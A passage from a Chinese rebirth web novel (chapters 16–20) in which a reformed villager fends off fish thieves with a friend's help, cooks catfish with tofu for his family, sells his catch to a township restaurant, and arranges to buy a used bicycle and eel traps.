分两条给大家尝尝,也让大家看看,你江涛还认不认咱们这些老兄弟?” 几个闲汉立刻附和。 有两个胆大的,甚至伸手就要去渔网里抓鱼。 江涛一看这架势明白了。 这几个闲汉以前也嚼舌根,但绝不敢这么明目张胆地拦路敲竹杠。 背后肯定是宋二在指使,故意找茬想坏他好事,或者纯粹就是想恶心他让他破财。 “宋二,好狗不挡道!” “哟,骂人是狗? 涛子,你忘了以前咱们一起喝酒耍钱的时候了? 忘了你搞破鞋是谁给你牵的线了? 现在抖起来了,想过河拆桥? 没门! 今天这鱼,你非得给兄弟们分分,让大家看看你江涛到底还是不是个讲究人!” “对,分鱼!分鱼!” 几个闲汉跟着起哄,伸手就要去扒拉鱼桶。 “你们敢!” 江涛抡起扁担横在身前。 不想,一个闲汉趁乱猛地伸手,从水桶里抓了两条鱼转身就跑。 江招娣急得大叫,“爸爸!他偷鱼!” 江涛怒火中烧,抡起扁担就朝那偷鱼贼后背扫去,同时乘势一脚踹向旁边的宋二。 宋二一个没注意,就被踹了个趔趄,一屁股坐在了地上。 “打人了,江涛打人了!” 他立刻撒泼打滚,抱住江涛的裤腿不撒手。 几个闲汉见动了手,胆气也壮了,仗着人多围上来,去抢那两桶和渔网里的鱼。 “住手!都给我住手!” 正闹得不可开交,一声暴喝从人群外传来。 第16章 黄颡鱼烧豆腐 “住手!都给我住手!” 铁牛拿着镰刀,像头蛮牛一样冲过来。 二话不说,抡起镰刀就朝那几个抢鱼的闲汉扫去。 这要被割一刀,不死也得残。 几个闲汉顿时吓得嗷嗷叫,忙不迭地往后退。 “光天化日抢东西,还有没有王法了!” 铁牛是村里有名的憨实人,平时不惹事,但真发起火来谁都害怕。 他这么一冲一吼,宋二和几个闲汉的气焰顿时矮了半截。 “铁牛,这不关你的事!” 宋二气急败坏地爬起来。 “怎么不关我的事?” 铁牛舞着镰刀,双眼瞪得溜圆,“我就看不惯你们欺负人!抢东西还有理了?” 这时,周围看不过去的村民也纷纷指责。 “就是,太不像话了!” “宋二,你们也太贪了!” “赶紧散了,不然我们去找村支书!” 见惹了众怒,铁牛又拿着家伙虎视眈眈,宋二知道今天占不到便宜了。 他狠狠瞪了江涛一眼,朝那几个闲汉一挥手,“我们走!” 几个闲汉灰溜溜地跟着宋二走了。 “涛子,没事吧?”铁牛这才转身问道。 “没事,多亏你了,铁牛。” 江涛松了口气。 这要不是铁牛及时赶到,他带着孩子,面对这些耍赖耍横的,还真未必能护住这些鱼。 “谢啥,应该的。” 铁牛看看桶里的鱼,“赶紧回去吧,鱼要紧。” “好!” 江涛重新挑起担子。 江招娣也赶紧捡起渔网,父女俩在村民们复杂的目光中,快步往家走去。 经这么一闹,鱼虽没损失什么,但江涛和宋二的梁子算是彻底结下了。 不过,谁怕谁啊。 上辈子,他被宋二算计得家破人亡,这笔血海深仇,他还没找他算呢。 这辈子,宋二要还敢像从前那样,使些上不得台面的阴招,或者再来当面找茬,他江涛绝对奉陪到底,新账旧账一起算。 刚到家门口,林月柔和几个丫头就焦急迎了出来。 显然是听到江涛跟人打架的风声。 “没事吧?” 林月柔拉着江涛上下打量,脸上满是担忧。 “能有啥事?” 江涛放下担子,拍拍身上的土,“就几个不长眼的闲得找事,已经被铁牛轰跑了。” “招娣,到底发生了什么?” 林月柔显然不信,又转向女儿。 可江招娣也是见过阵仗,小脸一板,学着江涛语气,“妈妈,没啥事,就遇到几个癞皮狗想抢鱼,被铁牛叔打跑了!” “扑哧!” 江涛没忍住笑出声。 没想到他家老大形容得还挺贴切。 林月柔见父女俩都不愿细说,也就没再多问,赶紧帮江涛将黄颡鱼安置到清水里。 “哇,这么多鱼啊。” 家里能找到的盆和桶都用上了,连那口存水的大水缸也倒进去不少。 几个丫头这个看看那个看看,又是新奇又是欢喜。 “月柔,我去小卖部买点豆腐。” 江涛将鱼安顿好,换下水衣水裤便往外走。 村里的小卖部除了卖油盐酱醋,平常还卖些豆腐。 那几个闲汉之前就是在小卖部门口晃荡。 江涛想着去买点豆腐,顺便看看能不能从老邹那儿打听到点什么。 小卖部老邹是个见钱眼开的主,指不定能从他嘴里抠出点啥。 此时,老邹正骂骂咧咧收拾被几个闲汉弄乱的东西,一见江涛走过来,心里一咯噔,以为他是来找茬的。 “老邹,给我来几块豆腐。” 听到江涛是来买东西,老邹松了口气,立刻换上一副笑脸。 “哎呦,是涛子啊,我还以为……嘿嘿,没事没事,马上给你拿!” 他一边麻利地切豆腐,一边将功补过似的,开始数落宋二和那几个闲汉。 “涛子,你是不知道,宋二那几个龟孙刚才在我这儿瞎晃荡,拿了点花生米,磨蹭半天才给钱,一看就没憋好屁!肯定是看你这几天得了好东西,眼红了!” “刚才他们看你那鱼,那眼神跟狼见了肉似的!我就说,涛子你现在是浪子回头金不换,是干正经事的,他们那些个混子,就是见不得人好!” “涛子,以后可要防着点他们,特别是那宋二,心眼子最多,以前就没少……” 老邹说得唾沫横飞,差点把自己跟着嚼江涛舌根的事秃噜出来,赶紧话头一转,“……没少干那偷鸡摸狗的勾当!刚才你们打起来,我还想着要不要去喊人呢,就是看他们人多,有点怵……嘿嘿。” 他倒是把自己摘得干干净净,仿佛刚才看热闹幸灾乐祸的不是他一样。 此前,那几个闲汉嚼舌头他可没少附和。 但那时是江涛不照顾他生意,现在江涛开始买东西了,那自然又是另一回事。 “谢了,老邹。” 江涛接过豆腐,付了钱转身走了。 看着江涛背影,老邹咂咂嘴。 觉得自己刚才那番仗义执言说得挺好,应该能结个善缘。 江涛提着豆腐回到家,林月柔已经在灶台边忙活了。 “爸爸,豆腐买回来啦?”江招娣迎上来。 “嗯,今天中午咱们就吃豆腐烧黄颡鱼。” 说着,江涛走到水缸边,捞了十几条活蹦乱跳的黄颡鱼出来。 条条精神,背上的硬刺都还竖着。 他手脚麻利地拿起剪刀,剪掉黄颡鱼腮边那两根最硬的刺,又用剪刀从鱼肚子下面豁开一道小口,将内脏清理干净。 这东西处理起来要小心,被那根主刺扎一下可不是闹着玩的。 鱼很快处理好,用清水冲洗干净,放在一旁备用。 林月柔已将豆腐切成厚片,又从自家菜地掐了一把嫩绿的小葱,切成了葱花。 姜片和蒜末自然也不能少。 铁锅烧到微热,放了菜籽油,江涛将黄颡鱼一条条贴着锅边滑下去。 鱼皮遇到热油,发出“滋滋”的轻响,翻过身,很快就煎得两面金黄。 他把鱼拨到一边,就着锅里的底油,将姜片和蒜末爆香,然后倒入酱油,烹出酱香,又加了些料酒去腥提鲜。 “加水,多加点儿,没过鱼。” 林月柔赶紧舀了几瓢清水倒进锅里。 等水烧开,咕嘟咕嘟冒起泡,江涛将切好的豆腐一块块贴着锅边放下去,又撒了些盐。 白嫩的豆腐浸在酱色汤汁里,随着翻滚的汤汁轻轻颤动。 “盖上盖,小火慢慢炖着。” 江涛盖上锅盖,“招娣,看着火,别太大了,也别让火灭了。” “哎,知道了爸爸!” 江招娣乖乖坐在灶膛前,小心拨弄着里面的芦苇杆控制火候。 另一个锅里,林月柔已经焖上了白米饭。 灶膛里的火苗舔着锅底,米饭的香气和黄颡鱼豆腐的鲜香混在一起,丝丝缕缕地弥漫开,飘满了小小的土屋。 几个小丫头鼻子一抽一抽的,眼巴巴地望着灶台。 “吃鱼,吃鱼!” 老八翻来覆去只会这两句。 “别急,等鱼炖透了才好吃。” 江涛笑着揉揉老八的小脑袋。 锅里咕嘟咕嘟地响着,汤汁慢慢收得浓稠,颜色也愈发红亮。 火候差不多了。 江涛掀开锅盖,一股浓郁的鱼鲜混着豆腐的醇香扑面而来。 用锅铲轻轻推了推豆腐和鱼,豆腐吸饱了汤汁,鱼身也酥软了。 撒上切好的葱花。 “好了,开饭!” 几个丫头端着自己的小碗围了上来,眼睛都粘在了那锅鱼上。 深黄色带着黑斑的鱼身浸在红亮浓稠的汤汁里,白嫩的豆腐点缀其间,碧绿的葱花撒在上面,看着就让人食欲大开。 “来,都坐下吃饭。” 江涛给林月柔夹了一条鱼肚子上最肥美的肉,又给每个女儿都分了鱼和豆腐,最后才给自己夹了一块。 “谢谢爸爸!” “爸爸真好!” 丫头们道了谢,立刻埋头吃起来。 黄颡鱼肉质细嫩,没什么小刺,用筷子一拨,雪白的蒜瓣肉就下来了,蘸着咸鲜的汤汁送进嘴里,又鲜又香。 豆腐炖得入了味,咬一口,里面都是滚烫鲜美的汁水,比肉还受欢迎。 一家人围着灶台,吃着热火朝天。 虽然屋里还是家徒四壁,但此刻的温暖和满足,却是多少钱也换不来的。 看着妻女们吃得香甜,江涛心里莫名踏实。 日子,就得这样过。 第17章 帮衬 一家人吃完午饭。 “爸爸,下午去乡里把鱼卖了吗?” 江招娣一边收拾碗筷,一边问。 “嗯,得去一趟。” 江涛想了想,“不过,去乡里之前,先去你铁牛叔家一趟。今天多亏了你铁牛叔仗义出手,给他送碗黄颡鱼烧豆腐表表心意。” “我这就去盛。” 林月柔手脚麻利地从锅里盛了满满一大碗,鱼和豆腐都装了不少。 “爸爸,我跟你一起去。” 江招娣赶紧将碗筷收拾好,擦擦手,准备跟着出门。 老二江盼娣和老三江来娣眼巴巴看着,满脸羡慕。 什么时候她们也能像大姐一样,跟着爸爸出去做事呢? 屋里,几个小的正围在一起分桃酥和水果糖。 老八嚼着桃酥,又盯上了糖,可怎么也剥不开糖纸,急得直跺脚。 “笨老八,糖纸这样剥。” 老三拿了一颗糖,三两下剥开往她嘴里一塞。 “三姐真聪明。” 老八满足得眼睛眯成了缝。 “呀,老八会说这么长的句子了。” 姜招娣惊讶不已。 老八平时说话都是一个字两个字地往外蹦,今天竟然说了句完整的话。 有长进啊。 看着女儿们一派和睦,江涛心里也高兴。 “招娣,咱们走吧。” 父女俩刚出门,就见赵老太站在路边,伸着脖子往他们家张望。 “涛子,你家今儿做什么了?香得不行。”赵老太吸了吸鼻子,有些不好意思地开口。 “赵奶奶,我家今天吃了黄颡鱼烧豆腐,可好吃了!” 江招娣抢着答话,语气里透着点小得意。 “闻出来了,是真香……” 赵老太咽了咽口水,目光落在江涛手里那碗鱼上。 “涛子,你看……能不能跟你买两条黄颡鱼?我家老头子这几天没胃口,就馋这口鲜的。不用多,两条就成。” “赵婶,说什么买不买的,” 江涛爽快道,“你上家里去,让月柔给你捞两条大的。招娣,你先陪赵奶奶回去拿鱼,我送完就回。” “哎,好嘞!” 江招娣脆生生应着,拉住赵老太的胳膊,“赵奶奶,走,咱们回家,让我妈给你挑两条最精神的!” “这、这怎么好意思……” 赵老太嘴上推辞着,脚下却已经跟着江招娣往江家走了。 江涛端着碗往铁牛家走,路上碰见几个在树荫下歇脚的村民。 见了他,个个堆起笑脸,主动打招呼,跟之前爱答不理或背后嚼舌根完全不一样。 “涛子,端着碗这是去哪儿啊?” “去铁牛家,送点吃的。” “哦哦,应该的,应该的!铁牛今天可帮了大忙了!” “是啊是啊,涛子你这是有本事啊,那么多黄颡鱼,啧啧……” 江涛捞到几十斤黄颡鱼的消息传开了。 大伙儿都闻着味儿了。 此刻,见他手里端着一大碗油光红亮的黄颡鱼烧豆腐,有几个喉咙明显动了一下,悄悄咽着唾沫。 江涛心里不是滋味。 这些村民,好的好,坏的坏,可怜的可怜,可恨的可恨。 但随便他们怎样,目前自己这点家底,可没能力当大善人到处施舍。 再说,以前自家红火的时候,父亲江山没少接济帮助别人,可也没见他们有多感恩。 反而还说现成话,说没求着江山帮他们。 更是在父亲被打成右派时,极尽落井下石之能事。 父亲看破人情冷暖,感慨“帮人不如修己”,最后郁郁寡欢而去。 所以啊,这学雷锋做好事也要看人。 得帮助那些知好歹的人,而不是那些觉得理所当然,甚至反咬一口的白眼狼。 这么想着,他来到了铁牛家。 铁牛和他娘正蹲在堂屋门槛上吃午饭。 一人手里端着个破了口的瓷碗,稀汤寡水的玉米粥,就着黑乎乎的几根咸菜。 “铁牛,婶子,吃饭呢?” “涛子来了?快进来坐。”铁牛连忙放下碗,起身要去找板凳。 “别忙,你们吃你们的。” 江涛将那碗黄颡鱼烧豆腐递过去,“今天多亏了你,不然我那些鱼可保不住。这碗鱼烧豆腐你们尝尝。” “这、这怎么行……” 铁牛娘也站了起来,看着那碗色香味俱全的黄颡鱼烧豆腐,口水止不住地分泌。 “使不得,涛子,快拿回去给孩子们吃。” “婶子,你就别推了。” 江涛将碗塞到铁牛手里,“要不是今天铁牛出手,我这鱼指不定被那些混子抢了。一碗鱼算什么,赶紧趁热吃。” 铁牛捧着碗,碗里酱汁浓郁,鱼肉白嫩,豆腐吸饱了汤汁,上面还撒着葱花,香味直往鼻子里钻。 这一看就放了不少菜籽油,油汪汪的。 他们家做饭,一年到头也舍不得放几滴油,盐也是抠着用。 “涛子,这礼太重了。我就帮了点小忙,值不了这么一大碗鱼啊,这里面豆腐、油盐,都值好几……” “说什么傻话呢。” 江涛不由分说打断他,“兄弟之间相互帮衬,讲什么值不值。快吃吧,凉了腥气。” “那我就不客气了。” 铁牛憨厚地笑了笑,将碗递给他娘,“娘,你先尝尝。” 铁牛娘颤巍巍夹起一块豆腐,小心送进嘴里。 豆腐软嫩,包裹着咸鲜的汤汁,带着黄颡鱼特有的香气,一咬满口生香。 她浑浊的双眼顿时有了光彩。 “好吃,真好吃啊,铁牛你也吃。” 铁牛娘嚼得特别仔细,好像吃的是什么了不得的山珍海味。 她舍不得吞下去,在嘴里反复品味,然后才恋恋不舍地咽下,将碗推到儿子面前。 铁牛拿起筷子,也夹了一块鱼肉。 鱼肉细嫩鲜美,几乎入口即化,那滋味是他过年也未必尝得到的。 他眼眶有些发热,连忙低头扒拉了几口玉米粥,用粗糙的手背揉了揉眼睛。 江涛看了,心里忍不住一阵酸涩。 普通农民的日子,就是这样一点一点从牙缝里省。 从土里刨,从水里捞,日复一日,熬白了头,累弯了腰,只为了一口安稳的吃食。 他看得心里难受,转身想走。 “涛子,你等等。” 铁牛叫住了他,几口将碗里的粥喝完,抹了抹嘴,“那些黄颡鱼,你是不是要挑到乡里去卖?” “是啊,得赶紧去,晚了怕鱼不精神。”江涛点点头。 “我下午没啥事,地里的活上午都干完了。” 铁牛搓了搓手,“我跟你一块去。你一人挑那么多,还带着招娣,万一路上再碰上那几个混子找事也不好应付。” “不用不用,” 江涛连忙摆手,“哪能又麻烦你。我自己能行,没事的。” “你看你,又跟我客气!” 铁牛有点急了,“你要不让我去,那这碗鱼我也吃不踏实,你这就拿回去!” 说着,还真要把那碗鱼塞回来。 “铁牛,你这是……” 江涛没想到铁牛这么实心眼,一时不知该说什么好。 “涛子,你就让铁牛跟你去吧!” 铁牛娘在一旁也劝道,“他别的没有,就有一身力气。你们路上做个伴。不然,他这心里头也挂着事。” “是啊,涛子。” 铁牛眼神恳切,“我别的没有,就有一把子力气,帮你挑挑担子。不然我这碗鱼吃得也不安生。” 江涛看他憨厚又固执的样子,心里一阵暖流涌过。 他知道铁牛是真心想帮他,担心他路上出事。 “行,那就麻烦你了。” “哎,这就对了!” 铁牛这才咧嘴笑了,“我这就去换身利索衣裳,拿扁担,咱们马上就走!” 第18章 关系 铁牛拿着扁担挑着一只水桶,跟江涛回到家里。 这样一人一副水桶,刚好一人挑一担,将鱼分着装好,担子就轻了。 江涛也是暗暗庆幸。 要不是铁牛主动来帮忙,这么多黄颡鱼,他自己挑着还真够呛,路上再有点意外,指不定就耽误了。 将鱼分装好,江涛和铁牛挑起担子。 江招娣自然是跟着一起去。 江盼娣和江来娣看着眼热,也吵着要去。 可路途太远,要走一个多小时,孩子不能累着。 江涛便哄她们,“你俩不能去,家里得留人。那些坏人说不定还不死心,要来家里捣乱,你俩得在家保护妈妈和妹妹,这个任务很重要。” 江盼娣和江来娣一听,感觉肩膀上担子瞬间重了起来,小胸脯一挺,“爸爸放心,我们保证完成任务!” “大姐,你也要看好爸爸!” 江盼娣还不放心地叮嘱了一句。 没想到这俩还挺好骗。 江招娣实在没忍住,噗嗤一声笑了出来。 江涛瞪了她一眼,她赶紧用小手捂住嘴,乖乖跟在了爸爸身边。 三人不再耽搁,出门快步往乡里赶去。 而此时,赵老头家里。 赵老太正美滋滋地收拾着林月柔给的四条大黄颡鱼,嘴里哼着小曲。 赵老头躺在床上,气得直哼哼。 “打了一辈子鱼,捞了半辈子江,如今倒好,想吃口鲜鱼,还得靠人家江涛接济!” 赵老头越想越憋屈,冲着堂屋方向吼了一嗓子,“你说你,馋那口鱼,丢不丢人!” “丢啥人?” 赵老太不甘示弱,拎着鱼走进里屋,“你看看,这鱼多精神!人家江涛凭本事捞的!你呢?你倒是天天扛着网去,回来就带一身腥气!你要有这本事,我用得着厚着脸皮去要?” “我、我那是运气不好……” 赵老头被戳了痛处,脸涨得通红。 “运气不好?人家咋天天运气好?前天捞鱼,昨天捞虾,今天又捞到黄颡鱼!你呢?运气就从来没好过?我看你是本事不济!” “你个老婆子懂什么!那水里的事,是看天、看时辰的,哪有那么简单!” “我不懂?我自然不懂,我就懂这鱼好吃!” 赵老太撇撇嘴,拿着鱼转身往灶间走,“待会给你炖鱼汤,看你还说不说风凉话。有本事,你明儿也弄几条回来让我看看!” “你、你……” 赵老头指着老婆子背影,气得说不出话。 最后,只能重重地“哼”了一声,翻个身,用被子蒙住了头。 可他肚子不争气“咕噜”叫了一声。 “哎哟,有人就是口是心非。” 赵老太在外面听见了,扬声笑道,“嘴上硬气,肚子倒老实。等着吧,鱼汤马上就好,看你能硬气到几时。” 乡间小路。 江涛和铁牛挑着担子快步走着,江招娣小跑着跟在后面。 不远处的土坡后面,宋二和几个闲汉探头探脑。 “宋二,这铁牛怎么阴魂不散?” “就是,瞅他鞍前马后的,不知道的还以为他是江涛雇的长工呢。” “这下麻烦,咱们不太好下手啊。” 几个闲汉都有些泄气。 他们本来想好了,在半路找个僻静地方堵住江涛,把鱼抢了,再揍他一顿出出气。 顺便把江涛抖起来的气焰打下去。 今天吃了那么大的亏,就这么灰溜溜回去,心里实在憋屈。 没想到铁牛竟一路跟着。 “要不,咱们去江涛家里……” 有个闲汉出馊主意,“他家就几个丫头片子,趁他不在……” “啪!” 话没说完,就被宋二一巴掌拍了后脑勺。 “蠢货,这种事要背后下手,不能明着来! 跑到他家里,光天化日抢东西,那是明抢! 他家一堆赔钱货,随便哭嚎几句,不闹得人尽皆知? 你还想不想在村里待了?” “是是是,是我想得不周到……” 闲汉捂着头,讪讪缩了回去。 宋二盯着江涛一行远去的背影,眼里几乎要喷出火来。 他摸摸脸上抓痕,恨恨咬牙,“哼,算你走运,带了头憨牛。江涛,你别以为这就完了。咱们走着瞧!” 一个小时后,三人来到乡里。 江涛挑着担子,领着铁牛,熟门熟路绕到东风饭店后厨的小院门口。 两人放下担子。 江招娣拉了拉江涛衣角,“爸爸,这次要不要给蒋叔叔和顾爷爷送点东西?就像昨天送虾那样。” 江涛略一沉吟,觉得女儿说得在理。 这关系,是得靠来往维护。 但这次出来没提前挑一些黄颡鱼出来。 他四下张望了几眼,看见路边不远有棵柳树。 “招娣,去折几根细柳枝来。” “哎。” 江招娣小跑过去,踮着脚折了几根又长又韧的柳枝回来。 江涛从桶里捞出十来条格外精神肥硕的黄颡鱼,用细柳枝穿了鱼鳃,让江招娣提在手里,这才上前敲门。 开门的是顾师傅。 他一见是江涛父女,身边还多了个壮实汉子,再一看那两担子活鱼,脸上立刻堆起笑容。 “是你们啊,今天这货可不少!快进来,我去喊蒋管事。” “顾师傅,等等。” 江涛摸出早准备好的一块钱递过去,“天热,您受累,买瓶汽水解解渴。” “这怎么好意思!” 顾师傅这回没推脱,手上很自然地接了过去,“太客气了,快进来吧,我去喊蒋管事。” “谢谢顾师傅!” 不一会儿,蒋管事背着手出来了。 看到满满两担子活蹦乱跳的黄颡鱼,眼中闪过一丝惊喜。 这玩意儿肉质细嫩,没什么刺,最受客人欢迎,尤其适合招待讲究的领导。 “江涛,今天又这么多好货?” 蒋管事走近看了看。 鱼鲜活,个头也整齐。 “蒋管事,多亏了您照顾。这不,捞到点黄颡鱼,想着您这边可能有需要,就赶紧送来了。” 说着,江涛示意江招娣上前。 江招娣乖巧地举起穿好的鱼,“蒋叔叔,这是挑出来最大最精神的,送给你尝尝,是我爸爸的一片心意。” 蒋管事不由笑了。 “行了,你们的心意我明白。鱼是好鱼,我全要了。老顾,过秤!” “好嘞!” 顾师傅连忙拿来大秤。 这次鱼比较多,铁牛上前帮忙抬着称。 “两筐鱼,一共是五十六斤三两!” “行,黄颡鱼,市面价三块五到五块二,你这鱼新鲜,我给个实诚价,四块一斤。” 蒋管事拍板。 江涛心里飞快一算,这价钱是自己预估的上限。 “蒋管事,这价钱……” “就这个价。你送来的货好又新鲜,以后有好东西记得先送到我这儿来。” 说着,蒋管事从兜里掏出钱来,点了二十二张十块的,又点了五张一块的递给江涛。 “五十六斤三两,四块一斤,总共是两百二十五块二毛。” “两毛就算了,行吗?” “行,行。” 哪能不行呢。 江涛忙不迭点头,接过这一沓厚实钞票。 数出五块钱,试探着塞到顾师傅手里,“顾师傅,天热,买点茶水喝,您和蒋管事都辛苦了。” “你这孩子……” 顾师傅想推,但见江涛眼神真诚,又看看蒋管事没反对,便笑着收下了。 “行,那我们就不打扰了。蒋管事,顾师傅,下次有好货,我们还送这儿来!” “哎,好,路上慢点!” 江涛和铁牛挑起空桶,带着江招娣离开了东风饭店。 走出好一段,铁牛才仿佛从梦里醒过来。 “涛子,我、我没算错吧?这么多鱼,卖了……两百多块?” “嗯,没错,是两百二十五块。” 江涛肯定道,摸摸那一沓钱,是实实在在的安稳。 “我的老天爷……” 铁牛狠狠咽了口唾沫,眼神都有些发直。 他种地、打零工、编席子,累死累活一年也攒不下几个钱。 江涛这一下午卖鱼,就顶得上普通人家攒几年的积蓄! “涛子,你真是这个!” 他竖起大拇指,真心实意地佩服。 “也是运气,加上人家蒋管事关照。” 江涛笑笑。 这笔钱,加上之前剩下的,手里有三百零二块了。 交三粮五钱是绰绰有余。 并且,还能有余力置办点别的。 更重要的是,这一次,不仅鱼卖了好价钱,和东风饭店的关系又近了一步。 第19章 自行车 有了钱自然就想着置办点东西。 江涛琢磨着,昨天跟杂货铺王老板提过自行车和手表的事,也不知道今天有没有消息。 当然,也就一天时间,恐怕没那么快。 但去看看也不是坏事,毕竟,水桶之类的家什还是要添置。 而米面之类的再买一点也无妨。 毕竟,家里几个丫头正是长身体的时候,每天消耗都不小。 现在手里宽裕了,多备点粮食心里也踏实,免得她们又像以前那样饿肚子。 去杂货铺的路上,江涛掏出两块钱递给铁牛。 铁牛吓一跳,“涛子,你这是干什么?” “拿着,今天辛苦你了,耽搁你大半天功夫,这是你应得的辛苦钱。” 江涛本来想给五块钱,但身上没零钱,两块钱想来铁牛不会介意少了点。 铁牛当然不会介意少,而是介意江涛给他钱。 在他看来,自己只是帮兄弟个忙,怎么能拿这么多钱呢? 镇上的工人一个月也就四十左右,每天划下来才一块多,而他这才一会儿功夫就拿两块钱? “涛子,别瞎来,这钱我不能要!” “我的好铁牛,” 江涛哭笑不得,硬把钱往他手里塞。 “这怎么是瞎来?给你不是应该的?你出力帮我,我挣了钱分你一份,天经地义。你帮我,我能让你白干?” 铁牛脸都急红了,“帮忙是帮忙,哪能要钱?你要这样,往后我都不敢跟你出门了!” “行了,别推了。” 江涛板起脸,“你要是不收,就是不把我当兄弟。以后我有事也不敢找你了。” “这……” 铁牛见他真急了,手里攥着那两块钱,收也不是,退也不是,黝黑的脸上满是局促和感动。 “收下吧,铁牛叔。” 江招娣也在一旁帮腔,“我爸爸说,亲兄弟明算账。你今天帮了这么大忙,该拿的。” 铁牛看看江涛,又看看招娣,喉结动了动,最终把那两张钞票小心叠好,揣进了裤兜最里面。 他心里暖烘烘的,又有些不好意思,“……那下次有事,你还叫我。我力气大,啥都能干。” “行,” 江涛笑着捶了他肩膀一下,“就这么说定了。” 三人说着话,就来到了杂货铺。 “哟,涛子今天又来了。” 王老板抬头看见他们,笑着打招呼。 “是啊,王老板。” 江涛应了一声,将扁担和水桶放在门口。 带着铁牛和招娣走进去,“再添置点东西,顺便问问,昨天说的那自行车和手表……” “这不是赶巧吗?” 王老板一拍大腿,“我刚想找机会跟你说,昨天你提了,我就赶紧托人去打听。今天上午,有个在县城工作的亲戚托人捎信,他那有辆旧自行车要出手,价钱也实在。我寻思着你要是诚心要,我就给你牵个线。” “真有门路?太好了!” 江涛心中一喜,“什么车?多少钱?” “说是辆七八成新的凤凰牌的二八大杠,有八成新,除了车铃不响哪里都响……啊不,是除了车铃有点锈,其他都好着呢。 我那亲戚是厂里管后勤的,这车是他们单位淘汰下来的,他经手收拾过,骑着没问题。说是急着出手六十块,不还价。你看……” 王老板说得有些含糊。 这车来路肯定没那么简单,八成是公家淘汰下来的处理品,但东西应该不差。 这价钱,在当下算很实惠了,新车要一百六七十块呢。 江涛飞快盘算了一下。 自行车六十块。 他手里现在有三百块,去掉要交的三粮五钱,还能剩下一百二十块。 再添块手表,钱是够的。 但买了之后手头就紧巴了,得留点本钱和应急。 不过,自行车是眼下最需要的,有了车,来回乡里省时省力,能多跑几趟,赚钱也快。 “行,这车我要了。” 江涛下了决心,“王老板,车在哪儿?我能先看看吗?” “车在县城我亲戚那儿。你要看,得跑一趟县城,或者我让他明天想办法送来。你要是信得过我,我先帮你把钱带过去,回头他把车送来,你看好了再付剩下的也行。” 王老板也是看江涛最近靠谱,又照顾他生意,才肯这么帮忙。 “行啊,那就谢谢王老板了。” 江涛很爽快,直接从兜里掏出十块钱递给王老板。 “这十块您先拿着,算定金,剩下的五十块,等车到了,我看了没问题,再当面付清。您看这样行不?” “行,太行了!” 王老板接过钱。 这江涛办事爽快。 “手表的事我也问了,我亲戚说,他们百货公司偶尔有内部处理名额,上海牌全钢的,大概一百二十块。但这个得碰机会,我帮你盯着,一有消息就告诉你。” “哎,那就全仰仗您了!” “那今天来点什么?” 王老板看江涛的眼神跟以前大不一样了。 这几天江涛天天来买东西,出手爽快,在他眼里,这混子算是浪子回头。 而且真挣着钱了,自然就成了值得招呼的大客户。 “买点米面,再添两个水桶。”江涛说着,看了看货架。 “行,马上给你拿。” 王老板手脚麻利地称了二十斤大米,十斤面粉,又拿出两个新的塑料水桶。 “涛子,我看你现在天天打渔,要不要置办点别的家伙事?” 王老板主动推荐起来,“我这儿有几个地笼,你看看?这东西不贵,下到水里,隔天去收,能抓到不少好东西,比用网省力。” “地笼?” “对,里面放点饵料,扔水里不用管,什么泥鳅、黄鳝、河虾,运气好还能逮到鳗鱼!” 王老板说得头头是道,“我跟你说,这野生鳗鱼可是好东西,稀罕着呢!送到县里大饭店,一斤能卖到十几二十几呢!我这儿还有几个小点的鳗鱼笼,专门卡鳗鱼洞的,你要不要看看?” 鳗鱼? 江涛心里一动。 他知道这玩意儿金贵,尤其野生江鳗,肉质肥美,是上等滋补品,价钱确实不低。 如果每日情报能提示鳗鱼的位置。 用这笼子去抓,说不定能挣大钱。 “鳗鱼笼怎么卖?” “不贵,竹子编的,一个五毛钱。这地笼大点,一块二一个。你先拿两个试试?” 说着,王老板从柜台下拿出一个地笼和一个细长的鳗鱼笼。 江涛看了看,做工还行,价钱也实在。 “行,那就拿五个地笼,十个鳗鱼笼,我试试看。” “好嘞!这地笼一块二,鳗鱼笼五毛,加上米面水桶,总共……” 王老板飞快地打着算盘,“大米二十斤三块六,面十斤一块九,水桶两个两块四,再加地笼五个六块,鳗鱼笼十个五块,一共是十八块九。给你抹个零,给十八块五就成!” “行,谢了王老板。” 江涛痛快付了钱,将东西归置好。 幸好有铁牛在,要不然这些还拿不了呢。 三人拿着东西出了杂货铺。 第20章 野生鳗鱼 三人走回家已是傍晚。 村里家家户户炊烟袅袅,地里干活的也早就扛着锄头回家了。 幸好是傍晚,路上没什么人,要不,江涛和铁牛拿着这么多东西,又得引来一番议论。 铁牛帮忙将东西送到江涛家里,放下东西就要走。 被江涛拦住,硬是给他塞了五斤大米和两斤白面。 铁牛哪里肯要,急得脸都红了。 “涛子,这、这不行!我今天就跟着你走了一趟,你这又是给钱又是给米面的,让我心里怎么过意得去?” “说的什么话?” 江涛按住他推拒的手,语气坚决,“今天你跟着我跑前跑后,耽误了自家工夫,到现在还没进账,我是那种自己吃饱不管兄弟的人吗?你要是不收,以后我有事也不敢找你了。” “是啊,铁牛,多亏你今天帮忙,要不然江涛还不知道要折腾到啥时候。” 林月柔也在旁边劝道,“我这就去做饭,你就在这儿吃了再走。” “不了,不了,我娘还在家等我回去呢。” 铁牛连连摆手,抱着两袋米面,像是抱着个烫手山芋,又是感动又是无措。 “那怕啥,把铁牛婶喊过来呗。” 江涛笑道,作势就要出门,“今天你帮了大忙,我来炒点肉丝,还有黄颡鱼烧豆腐,咱俩喝两口?” 昨天买的五斤猪肉,昨晚搞了半斤炒了肉丝,还剩下四斤半呢。 “不行不行,真不能留!” 铁牛这下更慌了。 他哪敢让江涛去请老娘过来吃饭,那成什么了? 当即抱着米面,几乎是落荒而逃。 “涛子,月柔,我先回去了!有事明天说!” “哎,铁牛,慢点!” 看着铁牛急匆匆消失在暮色里的背影,江涛摇摇头,有些意犹未尽,心里却暖暖的。 铁牛这人,实心眼,重情义,真是没得说。 不过,家里连张像样的桌子都没有,凳子也缺,铁牛在这儿,怕是连个落脚地都难找。 这添置家当的事,也得提上日程了。 晚饭吃的面条,外加青菜炒肉丝。 林月柔和几个丫头都说,红烧肉太腻,还是肉丝和着青菜炒好吃。 江涛听了,心里暗暗叹气。 长久缺油水,哪是吃一顿红烧肉就会腻的? 多半是舍不得顿顿吃好的,心疼钱,这才变着法儿说。 如此,那点猪肉就能多吃几顿,能多撑些日子。 唉,林月柔和几个丫头都不是好吃懒做的,反而处处为他着想,想着把日子往长远了过。 可恨他上辈子,被猪油蒙了心,把这样好的老婆孩子往绝路上逼。 夜里躺在床上,他望着黑洞洞的屋顶出神。 明天又有什么情报呢? 这“每日情报”可是家里翻身的指望。 用钱的地方太多了。 